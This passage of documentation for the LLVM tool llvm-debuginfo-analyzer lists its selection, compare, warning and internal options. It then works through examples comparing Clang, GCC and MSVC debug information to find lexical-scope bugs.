=Aggregate: A class, structure or union. =Array: An array. =Block: A generic block (lexical block or exception block). =CallSite: A call site. =CatchBlock: An exception block. =Class: A class. =CompileUnit: A compile unit. =EntryPoint: A subroutine entry point. =Enumeration: An enumeration. =Function: A function. =FunctionType: A function pointer. =InlinedFunction: An inlined function. =Label: A label. =LexicalBlock: A lexical block. =Namespace: A namespace. =Root: The element representing the main scope. =Structure: A structure. =Subprogram: A subprogram. =Template: A template definition. =TemplateAlias: A template alias. =TemplatePack: A template pack. =TryBlock: An exception try block. =Union: A union.

SYMBOLS

The following options allow printing of symbols that match the given <kind>.

–select-symbols=<kind[,kind,…]>
With kind being one of the options in the following list.

=CallSiteParameter: A call site parameter. =Constant: A constant symbol. =Inheritance: A base class. =Member: A member class. =Parameter: A parameter to function. =Unspecified: Unspecified parameters to function. =Variable: A variable.

TYPES

The following options allow printing of types that match the given <kind>.

–select-types=<kind[,kind,…]>
With kind being one of the options in the following list.

=Base: Base type (integer, boolean, etc). =Const: Constant specifier. =Enumerator: Enumerator. =Import: Import declaration. =ImportDeclaration: Import declaration. =ImportModule: Import module. =Pointer: Pointer type. =PointerMember: Pointer to member function. =Reference: Reference type. =Restrict: Restrict specifier. =RvalueReference: R-value reference. =Subrange: Array subrange. =TemplateParam: Template parameter. =TemplateTemplateParam: Template template parameter. =TemplateTypeParam: Template type parameter. =TemplateValueParam: Template value parameter. =Typedef: Type definition. =Unspecified: Unspecified type. =Volatile: Volatile specifier.

COMPARE

When dealing with debug information, there are situations when the printing of the elements is not the correct approach. That is the case, when we are interested in the effects caused by different versions of the same toolchain, or the impact of specific compiler optimizations.

For those cases, we are looking to see which elements have been added or removed. Due to the complicated debug information format, it is very difficult to use a regular diff tool to find those elements; even impossible when dealing with different debug formats.

llvm-debuginfo-analyzer supports a logical element comparison, allowing to find semantic differences between logical views, produced by different toolchain versions or even debug information formats.

When comparing logical views created from different debug formats, its accuracy depends on how close the debug information represents the user code. For instance, a logical view created from a binary file with DWARF debug information may include more detailed data than a logical view created from a binary file with CodeView/COFF debug information.

The following options describe the elements to compare.

–compare=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below elements.

=lines: Include lines. =scopes: Include scopes. =symbols: Include symbols. =types: Include types.

llvm-debuginfo-analyzer takes the first binary file on the command line as the reference and the second one as the target. To get a more descriptive report, the comparison is done twice. The reference and target views are swapped, in order to produce those missing elements from the target view and those added elements to the reference view.

See –report options on how to describe the comparison reports.

WARNING

When reading the input object files, llvm-debuginfo-analyzer can detect issues in the raw debug information. These may not be considered fatal to the purpose of printing a logical view but they can give an indication about the quality and potentially expose issues with the generated debug information.

The following options describe the warnings to be recorded for later printing, if they are requested by –print.

–warning=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below warnings.

The following options collect additional information during the creation of the logical view, to include invalid coverage values and locations for symbols; invalid code ranges; lines that are zero.

=coverages: Invalid symbol coverages values. =lines: Debug lines that are zero. =locations: Invalid symbol locations. =ranges: Invalid code ranges.

INTERNAL

For a better understanding of the logical view, access to more detailed internal information could be needed. Such data would help to identify debug information processed or incorrect logical element management. Typically these kind of options are available only in debug builds.

llvm-debuginfo-analyzer supports these advanced options in both release and debug builds, with the exception of the unique ID that is generated only in debug builds.

–internal=<value[,value,…]>
With value being one of the options in the following list.

=all: Include all the below options.

The following options allow to check the integrity of the logical view; collect the debug tags that are processed or not implemented; ignore the logical element line number, to facilitate the logical view comparison when using external comparison tools; print the command line options used to invoke llvm-debuginfo-analyzer.

=id: Print unique element ID. =cmdline: Print command line. =integrity: Check elements integrity. =none: Ignore element line number. =tag: Debug information tags.

Note: For ELF format, the collected tags represent the debug tags that are not processed. For PE/COFF format, they represent the tags that are processed.

EXAMPLES

This section includes some real binary files to show how to use llvm-debuginfo-analyzer to print a logical view and to diagnose possible debug information issues.

TEST CASE 1 - GENERAL OPTIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 ELF target with Clang (-O0 -g):

1 using INTPTR = const int *; 2 int foo(INTPTR ParamPtr, unsigned ParamUnsigned, bool ParamBool) { 3 if (ParamBool) { 4 typedef int INTEGER; 5 const INTEGER CONSTANT = 7; 6 return CONSTANT; 7 } 8 return ParamUnsigned; 9 }

PRINTING MODE

In this mode llvm-debuginfo-analyzer prints the logical view or portions of it, based on criteria patterns (including regular expressions) to select the kind of logical elements to be included in the output.

BASIC DETAILS

The following command prints basic details for all the logical elements sorted by the debug information internal offset; it includes its lexical level and debug info format.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=offset –print=scopes,symbols,types,lines,instructions test-dwarf-clang.o

or

llvm-debuginfo-analyzer –attribute=level,format –output-sort=offset –print=elements test-dwarf-clang.o

Each row represents an element that is present within the debug information. The first column represents the scope level, followed by the associated line number (if any), and finally the description of the element.

Logical View: [000] {File} ’test-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'test.cpp'
[002]     2         {Function} extern not_inlined 'foo' -> 'int'
[003]     2           {Parameter} 'ParamPtr' -> 'INTPTR'
[003]     2           {Parameter} 'ParamUnsigned' -> 'unsigned int'
[003]     2           {Parameter} 'ParamBool' -> 'bool'
[003]                 {Block}
[004]     5             {Variable} 'CONSTANT' -> 'const INTEGER'
[004]     5             {Line}
[004]                   {Code} 'movl  $0x7, -0x1c(%rbp)'
[004]     6             {Line}
[004]                   {Code} 'movl  $0x7, -0x4(%rbp)'
[004]                   {Code} 'jmp   0x6'
[004]     8             {Line}
[004]                   {Code} 'movl  -0x14(%rbp), %eax'
[003]     4           {TypeAlias} 'INTEGER' -> 'int'
[003]     2           {Line}
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]                 {Code} 'movb    %dl, %al'
[003]                 {Code} 'movq    %rdi, -0x10(%rbp)'
[003]                 {Code} 'movl    %esi, -0x14(%rbp)'
[003]                 {Code} 'andb    $0x1, %al'
[003]                 {Code} 'movb    %al, -0x15(%rbp)'
[003]     3           {Line}
[003]                 {Code} 'testb   $0x1, -0x15(%rbp)'
[003]                 {Code} 'je      0x13'
[003]     8           {Line}
[003]                 {Code} 'movl    %eax, -0x4(%rbp)'
[003]     9           {Line}
[003]                 {Code} 'movl    -0x4(%rbp), %eax'
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     9           {Line}
[002]     1         {TypeAlias} 'INTPTR' -> '* const int'

On closer inspection, we can see what could be a potential debug issue:

[003] {Block} [003] 4 {TypeAlias} ‘INTEGER’ -> ‘int’

The ‘INTEGER’ definition is at level [003], the same lexical scope as the anonymous {Block} (‘true’ branch for the ‘if’ statement) whereas in the original source code the typedef statement is clearly inside that block, so the ‘INTEGER’ definition should also be at level [004] inside the block.

SELECT LOGICAL ELEMENTS

The following prints all instructions, symbols and types that contain ‘inte’ or ‘movl’ in their names or types, using a tab layout and given the number of matches.

llvm-debuginfo-analyzer –attribute=level –select-nocase –select-regex –select=INTe –select=movl –report=list –print=symbols,types,instructions,summary test-dwarf-clang.o

Logical View:
[000]           {File} 'test-dwarf-clang.o'

[001]           {CompileUnit} 'test.cpp'
[003]           {Code} 'movl  $0x7, -0x1c(%rbp)'
[003]           {Code} 'movl  $0x7, -0x4(%rbp)'
[003]           {Code} 'movl  %eax, -0x4(%rbp)'
[003]           {Code} 'movl  %esi, -0x14(%rbp)'
[003]           {Code} 'movl  -0x14(%rbp), %eax'
[003]           {Code} 'movl  -0x4(%rbp), %eax'
[003]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           3          0
Symbols          4          1
Types            2          1
Lines           17          6
-----------------------------
Total           26          8

COMPARISON MODE

In this mode llvm-debuginfo-analyzer compares logical views to produce a report with the logical elements that are missing or added. This a very powerful aid in finding semantic differences in the debug information produced by different toolchain versions or even completely different toolchains altogether (For example a compiler producing DWARF can be directly compared against a completely different compiler that produces CodeView).

Given the previous example we found the above debug information issue (related to the previous invalid scope location for the ‘typedef int INTEGER’) by comparing against another compiler.

Using GCC to generate test-dwarf-gcc.o, we can apply a selection pattern with the printing mode to obtain the following logical view output.

llvm-debuginfo-analyzer –attribute=level –select-regex –select-nocase –select=INTe –report=list –print=symbols,types test-dwarf-clang.o test-dwarf-gcc.o

Logical View:
[000]           {File} 'test-dwarf-clang.o'

[001]           {CompileUnit} 'test.cpp'
[003]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

Logical View:
[000]           {File} 'test-dwarf-gcc.o'

[001]           {CompileUnit} 'test.cpp'
[004]     4     {TypeAlias} 'INTEGER' -> 'int'
[004]     5     {Variable} 'CONSTANT' -> 'const INTEGER'

The output shows that both objects contain the same elements. But the ‘typedef INTEGER’ is located at different scope level. The GCC generated object, shows ‘4’, which is the correct value.

Note that there is no requirement that GCC must produce identical or similar DWARF to Clang to allow the comparison. We’re only comparing the semantics. The same case when comparing CodeView debug information generated by MSVC and Clang.

There are 2 comparison methods: logical view and logical elements.

LOGICAL VIEW

It compares the logical view as a whole unit; for a match, each compared logical element must have the same parents and children.

Using the llvm-debuginfo-analyzer comparison functionality, that issue can be seen in a more global context, that can include the logical view.

The output shows in view form the missing (-), added (+) elements, giving more context by swapping the reference and target object files.

llvm-debuginfo-analyzer –attribute=level –compare=types –report=view –print=symbols,types test-dwarf-clang.o test-dwarf-gcc.o

Reference: 'test-dwarf-clang.o'
Target:    'test-dwarf-gcc.o'

Logical View:
 [000]           {File} 'test-dwarf-clang.o'

 [001]             {CompileUnit} 'test.cpp'
 [002]     1         {TypeAlias} 'INTPTR' -> '* const int'
 [002]     2         {Function} extern not_inlined 'foo' -> 'int'
 [003]                 {Block}
 [004]     5             {Variable} 'CONSTANT' -> 'const INTEGER'
+[004]     4             {TypeAlias} 'INTEGER' -> 'int'
 [003]     2           {Parameter} 'ParamBool' -> 'bool'
 [003]     2           {Parameter} 'ParamPtr' -> 'INTPTR'
 [003]     2           {Parameter} 'ParamUnsigned' -> 'unsigned int'
-[003]     4           {TypeAlias} 'INTEGER' -> 'int'

The output shows the merging view path (reference and target) with the missing and added elements.

LOGICAL ELEMENTS

It compares individual logical elements without considering if their parents are the same. For both comparison methods, the equal criteria includes the name, source code location, type, lexical scope level.

llvm-debuginfo-analyzer –attribute=level –compare=types –report=list –print=symbols,types,summary test-dwarf-clang.o test-dwarf-gcc.o

Reference: 'test-dwarf-clang.o'
Target:    'test-dwarf-gcc.o'

(1) Missing Types:
-[003]     4     {TypeAlias} 'INTEGER' -> 'int'

(1) Added Types:
+[004]     4     {TypeAlias} 'INTEGER' -> 'int'

----------------------------------------
Element   Expected    Missing      Added
----------------------------------------
Scopes           4          0          0
Symbols          0          0          0
Types            2          1          1
Lines            0          0          0
----------------------------------------
Total            6          1          1

Changing the Reference and Target order:

llvm-debuginfo-analyzer –attribute=level –compare=types –report=list –print=symbols,types,summary test-dwarf-gcc.o test-dwarf-clang.o

Reference: 'test-dwarf-gcc.o'
Target:    'test-dwarf-clang.o'

(1) Missing Types:
-[004]     4     {TypeAlias} 'INTEGER' -> 'int'

(1) Added Types:
+[003]     4     {TypeAlias} 'INTEGER' -> 'int'

----------------------------------------
Element   Expected    Missing      Added
----------------------------------------
Scopes           4          0          0
Symbols          0          0          0
Types            2          1          1
Lines            0          0          0
----------------------------------------
Total            6          1          1

As the Reference and Target are switched, the Added Types from the first case now are listed as Missing Types.

TEST CASE 2 - ASSEMBLER INSTRUCTIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g) for Windows and Linux.

1 extern int printf(const char * format, … ); 2 3 int main() 4 { 5 printf(“Hello, World “); 6 return 0; 7 }

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on Windows and Linux.

llvm-debuginfo-analyzer –attribute=level,format,producer –print=lines,instructions hello-world-codeview-clang.o hello-world-codeview-msvc.o hello-world-dwarf-clang.o hello-world-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘hello-world-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'subq    $0x28, %rsp'
[003]                 {Code} 'movl    $0x0, 0x24(%rsp)'
[003]     5           {Line}
[003]                 {Code} 'leaq    (%rip), %rcx'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]                 {Code} 'addq    $0x28, %rsp'
[003]                 {Code} 'retq'

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘hello-world-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'pushl   %ebp'
[003]                 {Code} 'movl    %esp, %ebp'
[003]     5           {Line}
[003]                 {Code} 'pushl   $0x0'
[003]                 {Code} 'calll   0x0'
[003]                 {Code} 'addl    $0x4, %esp'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]     7           {Line}
[003]                 {Code} 'popl    %ebp'
[003]                 {Code} 'retl'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘hello-world-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     3         {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]                 {Code} 'subq    $0x10, %rsp'
[003]                 {Code} 'movl    $0x0, -0x4(%rbp)'
[003]     5           {Line}
[003]                 {Code} 'movabsq $0x0, %rdi'
[003]                 {Code} 'movb    $0x0, %al'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'xorl    %eax, %eax'
[003]                 {Code} 'addq    $0x10, %rsp'
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     6           {Line}

DWARF - GCC (Linux)

Logical View: [000] {File} ‘hello-world-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'hello-world.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     3         {Function} extern not_inlined 'main' -> 'int'
[003]     4           {Line}
[003]                 {Code} 'endbr64'
[003]                 {Code} 'pushq   %rbp'
[003]                 {Code} 'movq    %rsp, %rbp'
[003]     5           {Line}
[003]                 {Code} 'leaq    (%rip), %rdi'
[003]                 {Code} 'movl    $0x0, %eax'
[003]                 {Code} 'callq   0x0'
[003]     6           {Line}
[003]                 {Code} 'movl    $0x0, %eax'
[003]     7           {Line}
[003]                 {Code} 'popq    %rbp'
[003]                 {Code} 'retq'
[003]     7           {Line}

The logical views shows the intermixed lines and assembler instructions, allowing to compare the code generated by the different toolchains.

TEST CASE 3 - INCORRECT LEXICAL SCOPE FOR TYPEDEF

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

1 int bar(float Input) { return (int)Input; } 2 3 unsigned foo(char Param) { 4 typedef int INT; // ** Definition for INT ** 5 INT Value = Param; 6 { 7 typedef float FLOAT; // ** Definition for FLOAT ** 8 { 9 FLOAT Added = Value + Param; 10 Value = bar(Added); 11 } 12 } 13 return Value + Param; 14 }

The above test is used to illustrate a scope issue found in the Clang compiler: PR44884 (Bugs LLVM) / PR44229 (GitHub LLVM)

The lines 4 and 7 contains 2 typedefs, defined at different lexical scopes.

4 typedef int INT; 7 typedef float FLOAT;

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –print=symbols,types,lines –output-sort=kind pr-44884-codeview-clang.o pr-44884-codeview-msvc.o pr-44884-dwarf-clang.o pr-44884-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘pr-44884-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Function} extern not_inlined 'bar' -> 'int'
[003]                 {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[002]               {Function} extern not_inlined 'foo' -> 'unsigned'
[003]                 {Block}
[004]                   {Variable} 'Added' -> 'float'
[004]     9             {Line}
[004]    10             {Line}
[003]                 {Parameter} 'Param' -> 'char'
[003]                 {TypeAlias} 'FLOAT' -> 'float'
[003]                 {TypeAlias} 'INT' -> 'int'
[003]                 {Variable} 'Value' -> 'int'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘pr-44884-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'bar' -> 'int'
[003]                 {Variable} 'Input' -> 'float'
[003]     1           {Line}
[002]               {Function} extern not_inlined 'foo' -> 'unsigned'
[003]                 {Block}
[004]                   {Block}
[005]                     {Variable} 'Added' -> 'float'
[004]                   {TypeAlias} 'FLOAT' -> 'float'
[004]     9             {Line}
[004]    10             {Line}
[003]                 {TypeAlias} 'INT' -> 'int'
[003]                 {Variable} 'Param' -> 'char'
[003]                 {Variable} 'Value' -> 'int'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    14           {Line}

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-44884-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     1         {Function} extern not_inlined 'bar' -> 'int'
[003]     1           {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[003]     1           {Line}
[003]     1           {Line}
[002]     3         {Function} extern not_inlined 'foo' -> 'unsigned int'
[003]                 {Block}
[004]     9             {Variable} 'Added' -> 'FLOAT'
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]     9             {Line}
[004]    10             {Line}
[004]    10             {Line}
[004]    10             {Line}
[004]    13             {Line}
[003]     3           {Parameter} 'Param' -> 'char'
[003]     7           {TypeAlias} 'FLOAT' -> 'float'
[003]     4           {TypeAlias} 'INT' -> 'int'
[003]     5           {Variable} 'Value' -> 'INT'
[003]     3           {Line}
[003]     5           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    13           {Line}
[003]    13           {Line}
[003]    13           {Line}

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-44884-dwarf-gcc.o’ -> elf32-littlearm

[001]             {CompileUnit} 'pr-44884.cpp'
[002]               {Producer} 'GNU C++14 10.2.1 20201103'
[002]     1         {Function} extern not_inlined 'bar' -> 'int'
[003]     1           {Parameter} 'Input' -> 'float'
[003]     1           {Line}
[003]     1           {Line}
[003]     1           {Line}
[002]     3         {Function} extern not_inlined 'foo' -> 'unsigned int'
[003]                 {Block}
[004]                   {Block}
[005]     9               {Variable} 'Added' -> 'FLOAT'
[005]     9               {Line}
[005]     9               {Line}
[005]     9               {Line}
[005]    10               {Line}
[005]    13               {Line}
[004]     7             {TypeAlias} 'FLOAT' -> 'float'
[003]     3           {Parameter} 'Param' -> 'char'
[003]     4           {TypeAlias} 'INT' -> 'int'
[003]     5           {Variable} 'Value' -> 'INT'
[003]     3           {Line}
[003]     5           {Line}
[003]    13           {Line}
[003]    14           {Line}
[003]    14           {Line}

From the previous logical views, we can see that the Clang compiler emits both typedefs at the same lexical scope (3), which is wrong. GCC and MSVC emit correct lexical scope for both typedefs.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output showing just the logical types that are Typedef.

llvm-debuginfo-analyzer –attribute=level,format –output-sort=name –select-types=Typedef –report=list –print=types pr-44884-*.o

Logical View:
[000]           {File} 'pr-44884-codeview-clang.o' -> COFF-x86-64

[001]           {CompileUnit} 'pr_44884.cpp'
[003]           {TypeAlias} 'FLOAT' -> 'float'
[003]           {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr_44884.cpp'
[004]           {TypeAlias} 'FLOAT' -> 'float'
[003]           {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr_44884.cpp'
[003]     7     {TypeAlias} 'FLOAT' -> 'float'
[003]     4     {TypeAlias} 'INT' -> 'int'

Logical View:
[000]           {File} 'pr-44884-dwarf-gcc.o' -> elf32-littlearm

[001]           {CompileUnit} 'pr_44884.cpp'
[004]     7     {TypeAlias} 'FLOAT' -> 'float'
[003]     4     {TypeAlias} 'INT' -> 'int'

It also shows, that the CodeView debug information does not generate source code line numbers for the those logical types. The logical view is sorted by the types name.

TEST CASE 4 - MISSING NESTED ENUMERATIONS

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

1 struct Struct { 2 union Union { 3 enum NestedEnum { RED, BLUE }; 4 }; 5 Union U; 6 }; 7 8 Struct S; 9 int test() { 10 return S.U.BLUE; 11 }

The above test is used to illustrate a scope issue found in the Clang compiler: PR46466 (Bugs LLVM) / PR45811 (GitHub LLVM)

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –output-sort=name –print=symbols,types pr-46466-codeview-clang.o pr-46466-codeview-msvc.o pr-46466-dwarf-clang.o pr-46466-dwarf-gcc.o

CodeView - Clang (Windows)

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]               {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]                 {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

CodeView - MSVC (Windows)

Logical View: [000] {File} ‘pr-46466-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]                 {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

DWARF - Clang (Linux)

Logical View: [000] {File} ‘pr-46466-dwarf-clang.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     8         {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]     5           {Member} public 'U' -> 'Union'

DWARF - GCC (Linux)

Logical View: [000] {File} ‘pr-46466-dwarf-gcc.o’ -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]               {Producer} 'GNU C++14 9.3.0'
[002]     8         {Variable} extern 'S' -> 'Struct'
[002]     1         {Struct} 'Struct'
[003]     5           {Member} public 'U' -> 'Union'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'unsigned int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

From the previous logical views, we can see that the DWARF debug information generated by the Clang compiler does not include any references to the enumerators RED and BLUE. The DWARF generated by GCC, CodeView generated by Clang and MSVC, they do include such references.

Using the llvm-debuginfo-analyzer selection facilities, we can produce a logical view showing just the logical types that are Enumerator and its parents. The logical view is sorted by the types name.

llvm-debuginfo-analyzer –attribute=format,level –output-sort=name –select-types=Enumerator –report=parents –print=types pr-46466-*.o

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Logical View:
[000]           {File} 'pr-46466-codeview-msvc.o' -> COFF-i386

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Logical View:
[000]           {File} 'pr-46466-dwarf-clang.o' -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'

Logical View:
[000]           {File} 'pr-46466-dwarf-gcc.o' -> elf64-x86-64

[001]             {CompileUnit} 'pr-46466.cpp'
[002]     1         {Struct} 'Struct'
[003]     2           {Union} 'Union'
[004]     3             {Enumeration} 'NestedEnum' -> 'unsigned int'
[005]                     {Enumerator} 'BLUE' = '0x1'
[005]                     {Enumerator} 'RED' = '0x0'

Using the llvm-debuginfo-analyzer selection facilities, we can produce a simple tabular output including a summary for the logical types that are Enumerator. The logical view is sorted by the types name.

llvm-debuginfo-analyzer –attribute=format,level –output-sort=name –select-types=Enumerator –print=types,summary pr-46466-*.o

Logical View: [000] {File} ‘pr-46466-codeview-clang.o’ -> COFF-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          2          0
Types            6          2
Lines            0          0
-----------------------------
Total           13          2

Logical View:
[000]           {File} 'pr-46466-codeview-msvc.o' -> COFF-i386

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          2          0
Types            7          2
Lines            0          0
-----------------------------
Total           14          2

Logical View:
[000]           {File} 'pr-46466-dwarf-clang.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           4          0
Symbols          0          0
Types            0          0
Lines            0          0
-----------------------------
Total            4          0

Logical View:
[000]           {File} 'pr-46466-dwarf-gcc.o' -> elf64-x86-64

[001]           {CompileUnit} 'pr-46466.cpp'
[005]           {Enumerator} 'BLUE' = '0x1'
[005]           {Enumerator} 'RED' = '0x0'

-----------------------------
Element      Total      Found
-----------------------------
Scopes           5          0
Symbols          0          0
Types            2          2
Lines            0          0
-----------------------------
Total            7          2

From the values printed under the Found column, we can see that no Types were found in the DWARF debug information generated by Clang.

TEST CASE 5 - INCORRECT LEXICAL SCOPE FOR VARIABLE

The below example is used to show different output generated by llvm-debuginfo-analyzer. We compiled the example for an X86 Codeview and ELF targets with recent versions of Clang, GCC and MSVC (-O0 -g).

// definitions.h #ifdef _MSC_VER #define forceinline __forceinline #elif defined(clang) #if __has_attribute(always_inline) #define forceinline inline attribute((always_inline)) #else #define forceinline inline #endif #elif defined(GNUC) #define forceinline inline attribute((always_inline)) #else #define forceinline inline #error #endif

As the test is dependent on inline compiler options, the above header file defines forceinline.

#include “definitions.h”

1 #include “definitions.h” 2 forceinline int InlineFunction(int Param) { 3 int Var_1 = Param; 4 { 5 int Var_2 = Param + Var_1; 6 Var_1 = Var_2; 7 } 8 return Var_1; 9 } 10 11 int test(int Param_1, int Param_2) { 12 int A = Param_1; 13 A += InlineFunction(Param_2); 14 return A; 15 }

The above test is used to illustrate a variable issue found in the Clang compiler: PR43860 (Bugs LLVM) / PR43205 (GitHub)

These are the logical views that llvm-debuginfo-analyzer generates for 3 different compilers (MSVC, Clang and GCC), emitting different debug information formats (CodeView, DWARF) on different platforms.

llvm-debuginfo-analyzer –attribute=level,format,producer –output-sort=name –print=symbols pr-43860-codeview-clang.o pr-43860-codeview-msvc.o pr-43860-dwarf-clang.o pr-43860-dwarf-gcc.o

CODEVIEW - Clang (Windows)

Logical View: [000] {File} ‘pr-43860-codeview-clang.o’ -> COFF-x86-64

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'clang version 14.0.0'
[002]     2         {Function} inlined 'InlineFunction' -> 'int'
[003]                 {Parameter} '' -> 'int'
[002]               {Function} extern not_inlined 'test' -> 'int'
[003]                 {Variable} 'A' -> 'int'
[003]                 {InlinedFunction} inlined 'InlineFunction' -> 'int'
[004]                   {Parameter} 'Param' -> 'int'
[004]                   {Variable} 'Var_1' -> 'int'
[004]                   {Variable} 'Var_2' -> 'int'
[003]                 {Parameter} 'Param_1' -> 'int'
[003]                 {Parameter} 'Param_2' -> 'int'

CODEVIEW - MSVC (Windows)

Logical View: [000] {File} ‘pr-43860-codeview-msvc.o’ -> COFF-i386

[001]             {CompileUnit} 'pr-43860.cpp'
[002]               {Producer} 'Microsoft (R) Optimizing Compiler'
[002]               {Function} extern not_inlined 'InlineFunction' -> 'int'
[003]                 {Block}
[004]                   {Variable} 'Var_2' -> 'int'
[003]                 {Variable} 'Param' -> 'int'
